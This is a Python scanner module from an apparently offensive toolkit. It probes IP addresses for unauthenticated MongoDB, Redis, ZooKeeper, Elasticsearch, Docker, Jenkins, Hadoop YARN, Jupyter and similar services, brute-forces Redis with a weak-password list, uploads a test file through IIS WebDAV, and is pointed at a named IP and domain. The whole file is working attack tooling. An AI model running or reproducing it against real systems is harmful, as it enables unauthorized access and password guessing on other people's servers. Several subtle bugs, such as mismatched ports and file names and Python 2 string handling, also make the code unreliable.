# coding:utf-8

from Exploit.BaseExploit import *
import http.client
import socket
import time
import pymongo
import requests
from threading import Thread
from concurrent.futures import ThreadPoolExecutor
requests.packages.urllib3.disable_warnings()

TIMEOUT = 3


class IpUnauth(Exploit):
    def __init__(self, domain, clear_task_list):
        super().__init__()
        self.user_list = ['root', 'sa', 'system', 'Administrtor', 'ubuntu']
        self.password_list = ['root', 'sa', 'admin', 'test', 'mysql', '123456', 'admin1234', 'admin12345', '000000', '987654321', '1234', '12345']
        self.headers = {"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}

        self.domain = domain
        self.ipunauthlist = []
        self.clear_task_list = clear_task_list

    def write_file(self, web_lists, target, page):
        workbook = openpyxl.load_workbook(abs_path + str(target) + ".xlsx")
        worksheet = workbook.worksheets[page]
        index = 0
        while index < len(web_lists):
            web = list()
            web.append(web_lists[index]['name'])
            web.append(web_lists[index]['url'])
            web.append(web_lists[index]['组件'])
            worksheet.append(web)
            index += 1
        workbook.save(abs_path + str(target) + ".xlsx")
        workbook.close()

    def exploit(self, _ip):
        '''Mongodb数据库未授权访问漏洞'''
        try:
            conn = pymongo.MongoClient(str(_ip), 27017)
            dbname = conn.list_database_names()
            if dbname:
                self.ipunauthlist.append({
                    'name': '未授权访问漏洞',
                    'url': str(_ip) + ":27017",
                    '组件': 'Mongodb'
                })

        except:
            pass
        finally:
            conn.close()

        '''Mongodb数据库未授权访问漏洞'''
        try:
            conn = pymongo.MongoClient(str(_ip), 27018)
            dbname = conn.list_database_names()
            if dbname:
                self.ipunauthlist.append({
                    'name': '未授权访问漏洞',
                    'url': str(_ip) + ":27017",
                    '组件': 'Mongodb'
                })

        except:
            pass
        finally:
            conn.close()

        '''Redis未授权'''
        try:
            s = socket.socket()
            s.connect((str(_ip), 6379))
            s.send(b"INFO\r\n")
            result = s.recv(1024)
            if b"redis_version" in result:
                self.ipunauthlist.append({
                    'name': '未授权访问漏洞',
                    'url': str(_ip) + ":6379",
                    '组件': 'Redis'
                })
        except:
            pass
        finally:
            s.close()

        '''Redis弱口令漏洞'''
        try:
            s = socket.socket()
            s.connect((_ip, int(6379)))
            s.send(b"INFO\r\n")
            result = s.recv(1024)
            if b"Authentication" in result:
                for _pass in self.password_list:
                    s = socket.socket()
                    s.connect((_ip, int(6379)))
                    s.send("AUTH %s\r\n" % _pass)
                    result = s.recv(1024)
                    if '+OK' in result:
                        self.ipunauthlist.append({
                            'name': '弱口令漏洞',
                            'url': str(_ip) + ':6379|' + str(_pass),
                            '组件': 'Redis'
                        })
        except:
            pass
        finally:
            s.close()

        '''ZooKeeper未授权访问漏洞'''
        try:
            s = socket.socket()
            s.connect((str(_ip), 2181))
            s.send(b"envi")
            result = s.recv(1024)
            if b"zookeeper.version" in result:
                self.ipunauthlist.append({
                    'name': '未授权访问',
                    'url':  str(_ip) + ":2181",
                    '组件': 'ZooKeeper'
                })
        except:
            pass
        finally:
            s.close()

        '''Elasticsearch未授权访问漏洞'''
        try:
            conn = http.client.HTTPConnection(str(_ip), 9200, True)
            conn.request("GET", '/_cat/master')
            resp = conn.getresponse()
            if resp.status == 200:
                self.ipunauthlist.append({
                    'name': '未授权访问',
                    'url': str(_ip) + ':9200',
                    '组件': 'Elasticsearch'
                })

        except:
            pass
        finally:
            s.close()

        '''Memcache未授权访问漏洞'''
        try:
            s = socket.socket()
            s.connect((str(_ip), 11211))
            s.send(b"stats")
            result = s.recv(1024)
            if b"STAT version" in result:
                self.ipunauthlist.append({
                    'name': '未授权访问',
                    'url': str(_ip) + ':11211',
                    '组件': 'Memcache'
                })
        except:
            pass

        finally:
            s.close()

        '''iis WebDav未授权，收集的'''
        try:
            s = socket.socket()
            s.connect((_ip, 80))
            s.send(b"PUT /iisput.txt HTTP/1.1\r\nHost: %s:%d\r\nContent-Length: 9\r\n\r\nxxscan0\r\n\r\n" % (_ip, 80))
            time.sleep(1)
            data = s.recv(1024)
            s.close()
            if 'PUT' in data:
                url = 'http://' + _ip + ":" + str(80) + '/vultest.txt'
                resp = requests.get(url, Verify=False)
                if 'xxscan0' in resp.text:
                    self.ipunauthlist.append({
                        'name': '未授权上传',
                        'url': str(url),
                        '组件': 'IIS WebDav'
                    })

        except:
            pass

        finally:
            s.close()

        '''Docker未授权访问漏洞'''
        try:
            conn = http.client.HTTPConnection(str(_ip), 2375, True)
            conn.request("GET", '/containers/json')
            resp = conn.getresponse()
            if resp.status == 200 and "HostConfig" in resp.read():
                self.ipunauthlist.append({
                    'name': '未授权访问',
                    'url': str(_ip) + ':2375/containers/json',
                    '组件': 'Docker'
                })

                # with open('result.txt', 'a+')as aaa:
                #     aaa.write('Docker未授权访问漏洞 : ' + str(ip) + ':2375/containers/json' + '\n')
        except:
            pass
        finally:
            conn.close()

        '''CouchDB未授权访问漏洞'''
        try:
            rr = requests.get(url=str('http://' + str(_ip) + '/_config'), headers=self.headers, timeout=TIMEOUT)
            if "couch" in rr.content:
                self.ipunauthlist.append({
                    'name': '未授权访问',
                    'url': str(rr.url),
                    '组件': 'CouchDB'
                })


                # with open('result.txt', 'a+')as aaa:
                #     aaa.write('CouchDB未授权访问漏洞 : ' + str(rr.url) + '\n')
        except:
            pass

        '''Jenkins未授权访问漏洞'''
        try:
            r_ = []
            r2 = 'http://' + str(_ip) + '/manage'
            r4 = 'http://' + str(_ip) + ':8080/manage'
            r_.append(r2)
            r_.append(r4)
            for r_r in r_:
                try:
                    Jenkins_resp = requests.get(url=r_r, headers=self.headers, timeout=TIMEOUT)
                    if 'arbitrary' in Jenkins_resp.content:
                        self.ipunauthlist.append({
                            'name': '未授权访问',
                            'url': str(r_r),
                            '组件': 'Jenkins'
                        })
                except:
                    pass
        except:
            pass

        '''Hadoop YARN ResourceManager 未授权访问漏洞'''
        try:
            xxx_ = []
            xxx1 = 'http://' + str(_ip)
            xxx2 = 'http://' + str(_ip) + ':8088'
            xxx_.append(xxx1)
            xxx_.append(xxx2)
            for xx in xxx_:
                url = xx + '/ws/v1/cluster/apps/new-application'
                resp = requests.post(url)
                app_id = resp.json()['application-id']
                if app_id:
                    self.ipunauthlist.append({
                        'name': '未授权访问',
                        'url':  str(_ip),
                        '组件': 'Hadoop'
                    })
        except:
            pass

        '''rsync未授权访问'''
        try:
            s = socket.socket()
            s.connect((str(_ip), 873))
            s.send(b"@RSYNCD: 31\n")
            s.send(b'\n')
            time.sleep(0.5)
            result = s.recv(1024)
            if result:
                for path_name in re.split('\n', result.decode()):
                    if path_name and not path_name.startswith('@RSYNCD: '):
                        self.ipunauthlist.append({
                            'name': '未授权访问',
                            'url': str(_ip),
                            '组件': 'rsync'
                        })
        except:
            pass
        finally:
            s.close()

        '''Jupyter Notebook 未授权访问漏洞'''
        try:
            xx = []
            xx1 = 'http://' + str(_ip)
            xx2 = 'http://' + str(_ip) + ':8888'
            xx.append(xx1)
            xx.append(xx2)
            for x in xx:
                url = x + '/tree'
                resp = requests.get(url=url, headers=self.headers)
                if resp.status_code == 200:
                    self.ipunauthlist.append({
                        'name': '未授权访问',
                        'url': str(_ip),
                        '组件': 'Jupyter Notebook'
                    })
        except:
            pass

    def main(self):
        logging.info("IpUnauthScan Start")
        p = ThreadPoolExecutor(10)
        temp_ips = []
        for aaa in self.clear_task_list:
            flag = 0
            if aaa['target'] == 'subdomain':
                if aaa['ips'] != '':
                    for i in temp_ips:
                        if aaa['ips'] == i:
                            flag += 1
                    if flag == 0:
                        temp_ips.append(aaa['ips'])
                        p.submit(self.exploit, aaa['ips'])
                        print("未授权扫描IP：", aaa['ips'])
        p.shutdown()
        self.write_file(self.ipunauthlist, self.domain, 9)


if __name__ == '__main__':
    starttime = time.time()
    list_ = ['172.30.212.58']
    thread_list = []
    for _ in list_:
        xxx = IpUnauth('nbcc.cn', _)
        thread_list.append(Thread(target=xxx.main))
    for i in thread_list:
        i.start()
    for i in thread_list:
        i.join()

    print(time.time() - starttime)
